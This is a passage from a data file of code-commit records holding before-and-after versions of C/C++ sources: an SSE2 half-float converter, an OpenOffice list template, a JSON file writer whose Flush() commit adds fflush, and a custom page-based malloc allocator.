*const input, size_t length) {\n u::vector<float> result(length);\n\n#if defined(__SSE2__)\n const half *in = input;\n U_ASSUME_ALIGNED(in, 16);\n const int blocks = int(length) \/ 4;\n const int remainder = int(length) % 4;\n int where = 0;\n for (int i = 0; i < blocks; i++, where += 4) {\n alignas(16) const __m128i value = _mm_set_epi32(in[where+0], in[where+1], in[where+2], in[where+3]);\n const __m128 convert = convertToFloatSSE2(value);\n memcpy(&result[where], &convert, sizeof convert);\n }\n for (int i = 0; i < remainder; i++)\n result[where+i] = convertToFloat(in[where+i]);\n#else\n for (size_t i = 0; i < length; i++)\n result[i] = convertToFloat(in[i]);\n#endif\n return result;\n}\n\n}\n<|endoftext|>"} {"text":"<commit_before>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: list.hxx,v $\n *\n * $Revision: 1.8 $\n *\n * last change: $Author: rt $ $Date: 2005-09-09 11:57:10 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef __LISTEN_123456__\n#define __LISTEN_123456__\n\n#include <string.h>\n#include <iostream>\n#include <stdlib.h>\n\ntemplate <class XX>\nclass List\n{\n public :\n typedef XX * iterator;\n typedef const XX * const_iterator;\n\n \/\/ LIFECYCLE\n List();\n virtual ~List() { }\n\n \/\/ OPERATORS\n const XX & operator[](\n unsigned n) const\n { return elem(n); }\n XX & operator[](\n unsigned n)\n { return elem(n); }\n \/\/ OPERATIONS\n void reserve(\n unsigned i_nSize )\n { alloc(i_nSize,true); }\n virtual void insert(\n unsigned pos,\n const XX & elem );\n void push_back(\n const XX & elem)\n { insert(size(),elem); }\n\n virtual void remove(\n unsigned pos );\n void pop_back() { remove(size()-1); }\n void erase_all() { while (size()) remove(size()-1); }\n\n \/\/ INQUIRY\n const XX & front() const { return elem(0); }\n const XX & back() const { return elem(len-1); }\n\n unsigned size() const { return len; }\n unsigned space() const { return allocated; }\n bool is_valid_index(\n unsigned n) const\n { return n < len; }\n \/\/ ACCESS\n XX & front() { return elem(0); }\n XX & back() { return elem(len-1); }\n\n protected:\n void checkSize(\n unsigned newLength);\n void alloc(\n unsigned newSpace,\n bool re = false );\n\n const XX & elem(\n unsigned n ) const\n { return inhalt[n]; }\n XX & elem(\n unsigned n )\n { return inhalt[n]; }\n \/\/ DATA\n XX * inhalt;\n unsigned len;\n unsigned allocated;\n\n private:\n \/\/ forbidden functions\n List(const List<XX> & L);\n List<XX> & operator=(\n const List<XX> & L);\n\n};\n\ntemplate <class XY>\nclass DynamicList : public List<XY*>\n{\n public:\n virtual ~DynamicList();\n\n virtual void insert(\n unsigned pos,\n XY * const & elem );\n virtual void remove(\n unsigned pos );\n};\n\n\n\ntemplate <class XX>\nList<XX>::List()\n : inhalt(0),\n len(0),\n allocated(0)\n\n{\n alloc(1);\n}\n\n\ntemplate <class XX>\nvoid\nList<XX>::insert(unsigned pos, const XX & elem)\n{\n if ( pos > len )\n return;\n\n checkSize(len+2);\n for ( unsigned p = len; p > pos; --p)\n {\n inhalt[p] = inhalt[p-1];\n }\n inhalt[pos] = elem;\n len++;\n}\n\n\ntemplate <class XX>\nvoid\nList<XX>::remove(unsigned pos)\n{\n if ( pos >= len )\n return;\n len--;\n for ( unsigned p = pos; p < len; ++p)\n {\n inhalt[p] = inhalt[p+1];\n }\n}\n\n\n\/\/ Protected:\ntemplate <class XX>\nvoid\nList<XX>::checkSize(unsigned newLength)\n{\n \/\/ neuen Platzbedarf pruefen:\n unsigned newSpace = space();\n if (newLength > newSpace)\n {\n if (!newSpace)\n newSpace = 1;\n const unsigned nBorder = 65536 \/ 2;\n while(newLength > newSpace)\n {\n if (newSpace < nBorder)\n newSpace <<= 1;\n else\n {\n std::cerr << \"List becomes too big\" << std::endl;\n exit(1);\n }\n }\n }\n\n \/\/ Veraenderung ?:\n if (newSpace != space())\n alloc(newSpace,true);\n}\n\ntemplate <class XX>\nvoid\nList<XX>::alloc( unsigned newSpace,\n bool re )\n{\n XX * pNew = new XX[newSpace];\n\n if (inhalt != 0)\n {\n if (re)\n {\n for (unsigned i = 0; i < len; ++i)\n {\n pNew[i] = inhalt[i];\n } \/\/ end for\n }\n delete [] inhalt;\n }\n\n inhalt = pNew;\n allocated = newSpace;\n}\n\n\ntemplate <class XY>\nDynamicList<XY>::~DynamicList()\n{\n this->erase_all();\n}\n\ntemplate <class XY>\nvoid\nDynamicList<XY>::insert(unsigned pos, XY * const & elem)\n{\n if ( pos > this->len )\n return;\n\n checkSize(this->len+2);\n memmove(this->inhalt[pos+1], this->inhalt[pos], (this->len-pos) * sizeof(XY*) );\n this->inhalt[pos] = elem;\n this->len++;\n}\n\ntemplate <class XY>\nvoid\nDynamicList<XY>::remove( unsigned pos )\n{\n if (!this->is_valid_index(pos) )\n return;\n this->len--;\n delete this->inhalt[pos];\n memmove(this->inhalt[pos], this->inhalt[pos+1], (this->len-pos) * sizeof(XY*) );\n}\n\n\n\n#endif\n\n<commit_msg>INTEGRATION: CWS warnings01 (1.8.4); FILE MERGED 2005\/11\/07 12:10:03 sb 1.8.4.1: #i53898# Made code warning-free (additional -W switches for GCC).<commit_after>\/*************************************************************************\n *\n * OpenOffice.org - a multi-platform office productivity suite\n *\n * $RCSfile: list.hxx,v $\n *\n * $Revision: 1.9 $\n *\n * last change: $Author: hr $ $Date: 2006-06-19 20:04:23 $\n *\n * The Contents of this file are made available subject to\n * the terms of GNU Lesser General Public License Version 2.1.\n *\n *\n * GNU Lesser General Public License Version 2.1\n * =============================================\n * Copyright 2005 by Sun Microsystems, Inc.\n * 901 San Antonio Road, Palo Alto, CA 94303, USA\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License version 2.1, as published by the Free Software Foundation.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * Lesser General Public License for more details.\n *\n * You should have received a copy of the GNU Lesser General Public\n * License along with this library; if not, write to the Free Software\n * Foundation, Inc., 59 Temple Place, Suite 330, Boston,\n * MA 02111-1307 USA\n *\n ************************************************************************\/\n\n#ifndef __LISTEN_123456__\n#define __LISTEN_123456__\n\n#include <string.h>\n#include <iostream>\n#include <stdlib.h>\n\ntemplate <class XX>\nclass List\n{\n public :\n typedef XX * iterator;\n typedef const XX * const_iterator;\n\n \/\/ LIFECYCLE\n List();\n virtual ~List() { }\n\n \/\/ OPERATORS\n const XX & operator[](\n unsigned n) const\n { return elem(n); }\n XX & operator[](\n unsigned n)\n { return elem(n); }\n \/\/ OPERATIONS\n void reserve(\n unsigned i_nSize )\n { alloc(i_nSize,true); }\n virtual void insert(\n unsigned pos,\n const XX & elem );\n void push_back(\n const XX & elem_)\n { insert(size(),elem_); }\n\n virtual void remove(\n unsigned pos );\n void pop_back() { remove(size()-1); }\n void erase_all() { while (size()) remove(size()-1); }\n\n \/\/ INQUIRY\n const XX & front() const { return elem(0); }\n const XX & back() const { return elem(len-1); }\n\n unsigned size() const { return len; }\n unsigned space() const { return allocated; }\n bool is_valid_index(\n unsigned n) const\n { return n < len; }\n \/\/ ACCESS\n XX & front() { return elem(0); }\n XX & back() { return elem(len-1); }\n\n protected:\n void checkSize(\n unsigned newLength);\n void alloc(\n unsigned newSpace,\n bool re = false );\n\n const XX & elem(\n unsigned n ) const\n { return inhalt[n]; }\n XX & elem(\n unsigned n )\n { return inhalt[n]; }\n \/\/ DATA\n XX * inhalt;\n unsigned len;\n unsigned allocated;\n\n private:\n \/\/ forbidden functions\n List(const List<XX> & L);\n List<XX> & operator=(\n const List<XX> & L);\n\n};\n\ntemplate <class XY>\nclass DynamicList : public List<XY*>\n{\n public:\n virtual ~DynamicList();\n\n virtual void insert(\n unsigned pos,\n XY * const & elem );\n virtual void remove(\n unsigned pos );\n};\n\n\n\ntemplate <class XX>\nList<XX>::List()\n : inhalt(0),\n len(0),\n allocated(0)\n\n{\n alloc(1);\n}\n\n\ntemplate <class XX>\nvoid\nList<XX>::insert(unsigned pos, const XX & elem_)\n{\n if ( pos > len )\n return;\n\n checkSize(len+2);\n for ( unsigned p = len; p > pos; --p)\n {\n inhalt[p] = inhalt[p-1];\n }\n inhalt[pos] = elem_;\n len++;\n}\n\n\ntemplate <class XX>\nvoid\nList<XX>::remove(unsigned pos)\n{\n if ( pos >= len )\n return;\n len--;\n for ( unsigned p = pos; p < len; ++p)\n {\n inhalt[p] = inhalt[p+1];\n }\n}\n\n\n\/\/ Protected:\ntemplate <class XX>\nvoid\nList<XX>::checkSize(unsigned newLength)\n{\n \/\/ neuen Platzbedarf pruefen:\n unsigned newSpace = space();\n if (newLength > newSpace)\n {\n if (!newSpace)\n newSpace = 1;\n const unsigned nBorder = 65536 \/ 2;\n while(newLength > newSpace)\n {\n if (newSpace < nBorder)\n newSpace <<= 1;\n else\n {\n std::cerr << \"List becomes too big\" << std::endl;\n exit(1);\n }\n }\n }\n\n \/\/ Veraenderung ?:\n if (newSpace != space())\n alloc(newSpace,true);\n}\n\ntemplate <class XX>\nvoid\nList<XX>::alloc( unsigned newSpace,\n bool re )\n{\n XX * pNew = new XX[newSpace];\n\n if (inhalt != 0)\n {\n if (re)\n {\n for (unsigned i = 0; i < len; ++i)\n {\n pNew[i] = inhalt[i];\n } \/\/ end for\n }\n delete [] inhalt;\n }\n\n inhalt = pNew;\n allocated = newSpace;\n}\n\n\ntemplate <class XY>\nDynamicList<XY>::~DynamicList()\n{\n this->erase_all();\n}\n\ntemplate <class XY>\nvoid\nDynamicList<XY>::insert(unsigned pos, XY * const & elem_)\n{\n if ( pos > this->len )\n return;\n\n checkSize(this->len+2);\n memmove(this->inhalt[pos+1], this->inhalt[pos], (this->len-pos) * sizeof(XY*) );\n this->inhalt[pos] = elem_;\n this->len++;\n}\n\ntemplate <class XY>\nvoid\nDynamicList<XY>::remove( unsigned pos )\n{\n if (!this->is_valid_index(pos) )\n return;\n this->len--;\n delete this->inhalt[pos];\n memmove(this->inhalt[pos], this->inhalt[pos+1], (this->len-pos) * sizeof(XY*) );\n}\n\n\n\n#endif\n\n<|endoftext|>"} {"text":"<commit_before>\n#include \"jsonfile.h\"\n#include \"b64\/encode.h\"\n#include <cstdlib>\n\nnamespace base\n{\n JsonWriterFile::JsonWriterFile(FILE* fp, char* buffer, std::size_t length):\n m_fileStream(fp, buffer, length),\n m_writer(m_fileStream),\n m_fp(fp)\n {\n }\n\n JsonWriterFile::~JsonWriterFile()\n {\n Flush();\n }\n\n FILE* JsonWriterFile::GetFp() const\n {\n return m_fp;\n }\n\n void JsonWriterFile::Flush()\n {\n m_fileStream.Flush();\n\n void JsonWriterFile::Reset()\n {\n m_writer.Reset(m_fileStream);\n }\n\n bool JsonWriterFile::IsComplete() const\n {\n return m_writer.IsComplete();\n }\n\n void JsonWriterFile::StartObject(const char* name \/*= nullptr*\/)\n {\n auto& writer = m_writer;\n if (name)\n {\n writer.String(name);\n }\n writer.StartObject();\n }\n\n void JsonWriterFile::EndObject()\n {\n m_writer.EndObject();\n }\n\n void JsonWriterFile::StartArray(const char* name \/*= nullptr*\/)\n {\n auto& writer = m_writer;\n if (name)\n {\n writer.String(name);\n }\n writer.StartArray();\n }\n\n void JsonWriterFile::EndArray()\n {\n m_writer.EndArray();\n }\n\n void JsonWriterFile::WriteNull(const char* name)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Null();\n }\n\n void JsonWriterFile::WriteBool(const char* name, bool value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Bool(value);\n }\n\n void JsonWriterFile::WriteInt32(const char* name, std::int32_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Int(value);\n }\n\n void JsonWriterFile::WriteInt32(const char* name, std::int32_t value, bool writeCondition)\n {\n auto& writer = m_writer;\n writer.String(name);\n if (writeCondition)\n {\n writer.Int(value);\n }\n else\n {\n writer.Null();\n }\n }\n\n void JsonWriterFile::WriteInt64(const char* name, std::int64_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Int64(value);\n }\n\n void JsonWriterFile::WriteUInt32(const char* name, std::uint32_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Uint(value);\n }\n\n void JsonWriterFile::WriteUInt32(const char* name, std::uint32_t value, bool writeCondition)\n {\n auto& writer = m_writer;\n writer.String(name);\n if (writeCondition)\n {\n writer.Uint(value);\n }\n else\n {\n writer.Null();\n }\n }\n\n void JsonWriterFile::WriteUint64(const char* name, std::uint64_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Uint64(value);\n }\n\n void JsonWriterFile::WriteString(const char* name, const char* value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.String(value);\n }\n\n void JsonWriterFile::WriteString(const char* name, const char* value, std::int32_t length)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.String(value, length);\n }\n\n void JsonWriterFile::WriteFloat(const char* name, const double value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Double(value);\n }\n\n void JsonWriterFile::WriteBits(const char* name, const unsigned char* data, std::size_t numBits)\n {\n auto& writer = m_writer;\n writer.String(name);\n\n base64::base64_encodestate state;\n base64::base64_init_encodestate(&state);\n state.flags = base64::BASE64_ENC_NO_NEWLINE_TERM;\n\n const std::size_t numBytes = ((numBits + 7) >> 3);\n const int encodedLenMax = base64::base64_calc_buffer_length(numBytes, &state);\n\n char* const encoded = (char*)calloc(encodedLenMax, 1);\n char* encodedCurOut = encoded;\n\n const std::size_t numTrailingBits = (numBits & 7);\n if (numTrailingBits > 0)\n {\n const std::size_t numBytesWithoutBits = (numBits >> 3);\n encodedCurOut += base64::base64_encode_block((const char*)data, numBytesWithoutBits, encodedCurOut, &state);\n const char lastByteClean = data[numBytesWithoutBits] & ~(0xFF >> numTrailingBits);\n encodedCurOut += base64::base64_encode_block(&lastByteClean, 1, encodedCurOut, &state);\n }\n else\n {\n encodedCurOut += base64::base64_encode_block((const char*)data, numBytes, encodedCurOut, &state);\n }\n encodedCurOut += base64::base64_encode_blockend(encodedCurOut, &state);\n\n writer.String(encoded, encodedCurOut - encoded);\n free(encoded);\n return;\n }\n\n void JsonWriterFile::WriteBytes(const char* name, const unsigned char* data, std::size_t numBytes)\n {\n JsonWriterFile::WriteBits(name, data, numBytes * 8);\n }\n}\n<commit_msg>Added fflush to JsonWriterFile Flush function<commit_after>\n#include \"jsonfile.h\"\n#include \"b64\/encode.h\"\n#include <cstdlib>\n\nnamespace base\n{\n JsonWriterFile::JsonWriterFile(FILE* fp, char* buffer, std::size_t length):\n m_fileStream(fp, buffer, length),\n m_writer(m_fileStream),\n m_fp(fp)\n {\n }\n\n JsonWriterFile::~JsonWriterFile()\n {\n Flush();\n }\n\n FILE* JsonWriterFile::GetFp() const\n {\n return m_fp;\n }\n\n void JsonWriterFile::Flush()\n {\n m_fileStream.Flush();\n fflush(m_fp);\n }\n\n void JsonWriterFile::Reset()\n {\n m_writer.Reset(m_fileStream);\n }\n\n bool JsonWriterFile::IsComplete() const\n {\n return m_writer.IsComplete();\n }\n\n void JsonWriterFile::StartObject(const char* name \/*= nullptr*\/)\n {\n auto& writer = m_writer;\n if (name)\n {\n writer.String(name);\n }\n writer.StartObject();\n }\n\n void JsonWriterFile::EndObject()\n {\n m_writer.EndObject();\n }\n\n void JsonWriterFile::StartArray(const char* name \/*= nullptr*\/)\n {\n auto& writer = m_writer;\n if (name)\n {\n writer.String(name);\n }\n writer.StartArray();\n }\n\n void JsonWriterFile::EndArray()\n {\n m_writer.EndArray();\n }\n\n void JsonWriterFile::WriteNull(const char* name)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Null();\n }\n\n void JsonWriterFile::WriteBool(const char* name, bool value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Bool(value);\n }\n\n void JsonWriterFile::WriteInt32(const char* name, std::int32_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Int(value);\n }\n\n void JsonWriterFile::WriteInt32(const char* name, std::int32_t value, bool writeCondition)\n {\n auto& writer = m_writer;\n writer.String(name);\n if (writeCondition)\n {\n writer.Int(value);\n }\n else\n {\n writer.Null();\n }\n }\n\n void JsonWriterFile::WriteInt64(const char* name, std::int64_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Int64(value);\n }\n\n void JsonWriterFile::WriteUInt32(const char* name, std::uint32_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Uint(value);\n }\n\n void JsonWriterFile::WriteUInt32(const char* name, std::uint32_t value, bool writeCondition)\n {\n auto& writer = m_writer;\n writer.String(name);\n if (writeCondition)\n {\n writer.Uint(value);\n }\n else\n {\n writer.Null();\n }\n }\n\n void JsonWriterFile::WriteUint64(const char* name, std::uint64_t value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Uint64(value);\n }\n\n void JsonWriterFile::WriteString(const char* name, const char* value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.String(value);\n }\n\n void JsonWriterFile::WriteString(const char* name, const char* value, std::int32_t length)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.String(value, length);\n }\n\n void JsonWriterFile::WriteFloat(const char* name, const double value)\n {\n auto& writer = m_writer;\n writer.String(name);\n writer.Double(value);\n }\n\n void JsonWriterFile::WriteBits(const char* name, const unsigned char* data, std::size_t numBits)\n {\n auto& writer = m_writer;\n writer.String(name);\n\n base64::base64_encodestate state;\n base64::base64_init_encodestate(&state);\n state.flags = base64::BASE64_ENC_NO_NEWLINE_TERM;\n\n const std::size_t numBytes = ((numBits + 7) >> 3);\n const int encodedLenMax = base64::base64_calc_buffer_length(numBytes, &state);\n\n char* const encoded = (char*)calloc(encodedLenMax, 1);\n char* encodedCurOut = encoded;\n\n const std::size_t numTrailingBits = (numBits & 7);\n if (numTrailingBits > 0)\n {\n const std::size_t numBytesWithoutBits = (numBits >> 3);\n encodedCurOut += base64::base64_encode_block((const char*)data, numBytesWithoutBits, encodedCurOut, &state);\n const char lastByteClean = data[numBytesWithoutBits] & ~(0xFF >> numTrailingBits);\n encodedCurOut += base64::base64_encode_block(&lastByteClean, 1, encodedCurOut, &state);\n }\n else\n {\n encodedCurOut += base64::base64_encode_block((const char*)data, numBytes, encodedCurOut, &state);\n }\n encodedCurOut += base64::base64_encode_blockend(encodedCurOut, &state);\n\n writer.String(encoded, encodedCurOut - encoded);\n free(encoded);\n return;\n }\n\n void JsonWriterFile::WriteBytes(const char* name, const unsigned char* data, std::size_t numBytes)\n {\n JsonWriterFile::WriteBits(name, data, numBytes * 8);\n }\n}\n<|endoftext|>"} {"text":"<commit_before>#include <dlfcn.h>\n#include <errno.h>\n#include <fcntl.h>\n#include <inttypes.h>\n#include <stddef.h>\n#include <stdio.h>\n#include <stdlib.h>\n#include <string.h>\n#include <sys\/mman.h>\n#include <sys\/stat.h>\n#include <sys\/types.h>\n#include <unistd.h>\n\nvoid init() __attribute__((constructor));\nvoid fini() __attribute__((destructor));\n\nstatic void panic(...) __attribute__((noreturn));\n\n#ifdef DEBUG\n#define debug printf\n#define assert xassert\n#define xassert(e) if (e); else panic(#e)\n#define IFDEBUG(X) X\n#else\n#define debug(...) (void)0\n#define assert(...) (void)0\n#define IFDEBUG(X) \/* nothing *\/\n#endif\n\n#define likely(x) __builtin_expect(!!(x), 1)\n#define unlikely(x) __builtin_expect(!!(x), 0)\n\n\/**\n * These are adapted to be stored internally in whatever data we have.\n *\/\nstruct pairing_ptr_heap\n{\n\ttypedef pairing_ptr_heap T;\n\ttypedef pairing_ptr_heap* Tp;\n\n\t\/**\n\t * down,right: first child and right sibling of this page in pairing heap\n\t * of pages with free space.\n\t *\/\n\tpairing_ptr_heap* down;\n\tpairing_ptr_heap* right;\n\n\tTp delete_min()\n\t{\n\t\tassert(!right);\n\t\tTp l = down;\n\t\tdown = NULL;\n\t\treturn mergePairs(l);\n\t}\n\n\tstatic Tp mergePairs(Tp l)\n\t{\n\t\tif (!l || !l->right) return l;\n\n\t\tTp r = l->right;\n\t\tTp hs = r->right;\n\t\tl->right = r->right = NULL;\n\t\tassert(hs != l && hs != r && r != l);\n\t\t\/\/ FIXME recursion...\n\t\t\/\/ We can use l->right after merge returns, since merge() always\n\t\t\/\/ returns something with a right-value of NULL. l will never be\n\t\t\/\/ touched until we're about to merge it with the result of mergePairs\n\t\tl = merge(l,r);\n\t\ths = mergePairs(hs);\n\t\treturn merge(l,hs);\n\t}\n\n\tstatic Tp merge(Tp l, Tp r)\n\t{\n\t\tif (!l)\n\t\t{\n\t\t\tassert(!r->right);\n\t\t\treturn r;\n\t\t}\n\t\tif (!r)\n\t\t{\n\t\t\tassert(!l->right);\n\t\t\treturn l;\n\t\t}\n\n\t\tassert(!l->right && !r->right);\n\n\t\tif (r < l)\n\t\t{\n\t\t\tTp tmp = r;\n\t\t\tr = l;\n\t\t\tl = tmp;\n\t\t}\n\t\t\/\/ l <= r!\n\n\t\tr->right = l->down;\n\t\tl->down = r;\n\t\t\/\/l->right = NULL; \/\/ we know it's already null\n\t\treturn l;\n\t}\n};\nstatic pairing_ptr_heap* delete_min(pairing_ptr_heap* p)\n{\n\tassert(p);\n\treturn p->delete_min();\n}\nstatic pairing_ptr_heap* insert(pairing_ptr_heap* l, pairing_ptr_heap* r)\n{\n\treturn pairing_ptr_heap::merge(l, r);\n}\n\nstruct pageinfo\n{\n\t\/**\n\t * Pointer to where the page starts.\n\t * TODO: Pack some stuff in here. *Twelve* vacant bits!\n\t *\/\n\tvoid* page;\n\n\t\/**\n\t * The heap of address-sorted pages in this category that have free pages\n\t *\/\n\tpairing_ptr_heap heap;\n\n\tuint16_t size;\n\t\/\/uint16_t isize;\n\tuint16_t chunks;\n\tuint16_t chunks_free;\n\tuint8_t index; \/\/ index into array of pages\n\n\t\/**\n\t * 1-32 bytes of bitmap data. A set bit means *free* chunk.\n\t *\/\n\tuint8_t bitmap[];\n\n\t\/\/ TODO merge bitmap into page?\n};\n#define pageinfo_from_heap(heap_) \\\n\t((pageinfo*)((char*)(heap_) - offsetof(pageinfo, heap)))\n\nstatic bool page_filled(pageinfo* page)\n{\n\treturn !page->chunks_free;\n}\nstatic void* page_get_chunk(pageinfo* page)\n{\n\tpage->chunks_free--;\n\tuint8_t* bitmap = page->bitmap;\n\tfor (size_t i = 0; i < page->chunks \/ 8; i++)\n\t{\n\t\tconst uint8_t found = bitmap[i];\n\t\tif (found)\n\t\t{\n\t\t\tuint8_t mask = 0x80;\n\t\t\tsize_t n = i << 3;\n\t\t\twhile (mask)\n\t\t\t{\n\t\t\t\tif (mask & found)\n\t\t\t\t{\n\t\t\t\t\tbitmap[i] = found & ~mask;\n\t\t\t\t\treturn (uint8_t*)page->page + (n * page->size);\n\t\t\t\t}\n\t\t\t\tmask >>= 1;\n\t\t\t\tn++;\n\t\t\t}\n\t\t}\n\t}\n\tpanic(\"No free chunks found?\");\n}\nstatic void page_free_chunk(pageinfo* page, void* ptr)\n{\n\tsize_t ix = (uint8_t*)ptr - (uint8_t*)page->page;\n\tix \/= page->size; \/\/ FIXME store inverse or something instead\n\tpage->bitmap[ix >> 3] |= 1 << (7 - (ix & 7));\n\tpage->chunks_free++;\n}\n\n#define N_SIZES (128\/16+5)\n#define PAGE_SHIFT 12\n#define PAGE_SIZE (1 << PAGE_SHIFT)\n\nstatic pairing_ptr_heap* g_free_pages;\nstatic pageinfo* g_chunk_pages[N_SIZES];\nstatic uintptr_t g_first_page;\nstatic uintptr_t g_n_pages;\n\/\/ Assumes mostly contiguous pages...\nstatic pageinfo** g_pages;\n\nvoid init()\n{\n\tg_first_page = (uintptr_t)sbrk(0);\n}\n\nvoid fini()\n{\n\t\/\/ TODO Unmap everything?\n}\n\nstatic void panic(...)\n{\n\tabort();\n}\n\nstatic size_t size_ix(size_t size)\n{\n\tif (size <= 128)\n\t\treturn (size + 15) \/ 16 - 1;\n\n\tsize_t ix = 8; \/\/ 256 bytes\n\tsize >>= 8;\n\twhile (size) { size >>= 1; ix++; }\n\treturn ix;\n}\n\nstatic size_t ix_size(size_t ix)\n{\n\treturn ix < 8 ? 16 * (ix + 1) : (1 << ix);\n}\n\nstatic void* get_page()\n{\n\tif (void* ret = g_free_pages)\n\t{\n\t\tg_free_pages = delete_min(g_free_pages);\n\t\treturn ret;\n\t}\n\telse\n\t{\n\t\tuintptr_t cur = (uintptr_t)sbrk(0);\n\t\tsbrk((PAGE_SIZE - cur) & (PAGE_SIZE - 1));\n\t\treturn sbrk(PAGE_SIZE);\n\t}\n}\n\nstatic void set_pageinfo(void* page, pageinfo* info)\n{\n\tuintptr_t offset;\n\tif (g_pages)\n\t{\n\t\toffset = ((uintptr_t)page - g_first_page) >> PAGE_SHIFT;\n\t}\n\telse\n\t{\n\t\tg_first_page = (uintptr_t)page;\n\t\toffset = 0;\n\t}\n\n\tif (offset >= g_n_pages)\n\t{\n\t\tsize_t required = (offset + PAGE_SIZE) & ~(PAGE_SIZE-1);\n\t\tpageinfo** new_pages = (pageinfo**)mmap(NULL, required, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS, 0, 0);\n\t\tassert(new_pages != MAP_FAILED);\n\n\t\tmemcpy(new_pages, g_pages, g_n_pages * sizeof(pageinfo*));\n\t\tmunmap(g_pages, g_n_pages * sizeof(pageinfo*));\n\n\t\tg_pages = new_pages;\n\t\tg_n_pages = required \/ sizeof(pageinfo*);\n\t}\n\n\tg_pages[offset] = info;\n}\n\nstatic pageinfo* new_chunkpage(size_t size)\n{\n\tsize_t ix = size_ix(size);\n\tsize = ix_size(ix);\n\n\tsize_t nchunks = 4096\/size;\n\tpageinfo* ret = NULL;\n\tsize_t pisize = sizeof(pageinfo) + nchunks\/8;\n\tif (!g_chunk_pages[size_ix(pisize)])\n\t{\n\t\tret = (pageinfo*)get_page();\n\t\tset_pageinfo(ret, NULL);\n\t}\n\telse\n\t{\n\t\tret = (pageinfo*)malloc(pisize);\n\t}\n\n\tmemset(&ret->heap, 0, sizeof(ret->heap));\n\tret->page = get_page();\n\tret->size = size;\n\/\/\tret->shift = ix_shift(ix);\n\tret->chunks = nchunks;\n\tret->chunks_free = nchunks;\n\tret->index = ix;\n\n\tmemset(ret->bitmap, 0xff, nchunks\/8);\n\n\tset_pageinfo(ret->page, ret);\n\n\treturn ret;\n}\n\nstatic pageinfo* ptr_pageinfo(void* ptr)\n{\n\tuintptr_t offset = ((uintptr_t)ptr - g_first_page) >> PAGE_SHIFT;\n\tif (offset > g_n_pages) return NULL;\n\tpageinfo* ret = g_pages[offset];\n\tassert(!ret || !(((uintptr_t)ret->page ^ (uintptr_t)ptr) >> PAGE_SHIFT));\n\treturn ret;\n}\n\nstatic size_t get_alloc_size(void* ptr)\n{\n\tpageinfo* info = ptr_pageinfo(ptr);\n\tif (!info) panic(\"get_alloc_size for unknown pointer %p\", ptr);\n\treturn info->size;\n}\n\nvoid *malloc(size_t size)\n{\n\tif (!size) return NULL;\n\n\tpageinfo** pagep = g_chunk_pages + size_ix(size);\n\tpageinfo* page = *pagep;\n\tif (unlikely(!page))\n\t{\n\t\tdebug(\"Adding new chunk page for size %lu (cat %ld)\\n\", size, size_ix(size));\n\t\tpage = new_chunkpage(size);\n\t\t*pagep = page;\n\t}\n\tdebug(\"Allocating chunk from %p (info %p, %d left)\\n\", page->page, page, page->chunks_free);\n\tvoid* ret = page_get_chunk(page);\n\tif (unlikely(page_filled(page)))\n\t{\n\t\tdebug(\"Page %p (info %p) filled\\n\", page->page, page);\n\t\tpairing_ptr_heap* newpage = delete_min(&page->heap);\n\t\t*pagep = newpage ? pageinfo_from_heap(newpage) : NULL;\n\t}\n\treturn ret;\n}\n\nvoid* calloc(size_t n, size_t sz)\n{\n\tsize_t size = n * sz;\n\tvoid* ptr = malloc(size);\n\tif (likely(ptr)) memset(ptr, 0, size);\n\treturn ptr;\n}\n\nvoid* realloc(void* ptr, size_t new_size)\n{\n\tsize_t old_size = get_alloc_size(ptr);\n\tvoid* ret = malloc(new_size);\n\tif (likely(ret))\n\t{\n\t\tmemcpy(ret, ptr, unlikely(new_size < old_size) ? new_size : old_size);\n\t}\n\treturn ret;\n}\n\nvoid free(void *ptr)\n{\n\tif (unlikely(!ptr)) return;\n\n\tpageinfo* page = ptr_pageinfo(ptr);\n\tif (unlikely(!page)) panic(\"free on unknown pointer %p\", ptr);\n\n\tbool was_filled = page_filled(page);\n\tpage_free_chunk(page, ptr);\n\tif (was_filled)\n\t{\n\t\tpageinfo** pagep = g_chunk_pages + page->index;\n\t\tpageinfo* free_page = *pagep;\n\t\tif (!free_page)\n\t\t\t*pagep = page;\n\t\telse\n\t\t\t*pagep = pageinfo_from_heap(insert(&free_page->heap, &page->heap));\n\t}\n\telse if (unlikely(page->chunks_free == page->chunks))\n\t{\n\t\tdebug(\"Free: page %p (info %p) is now free\\n\", page->page, page);\n\t}\n}\n\n#ifdef TEST\n\nstatic int32_t 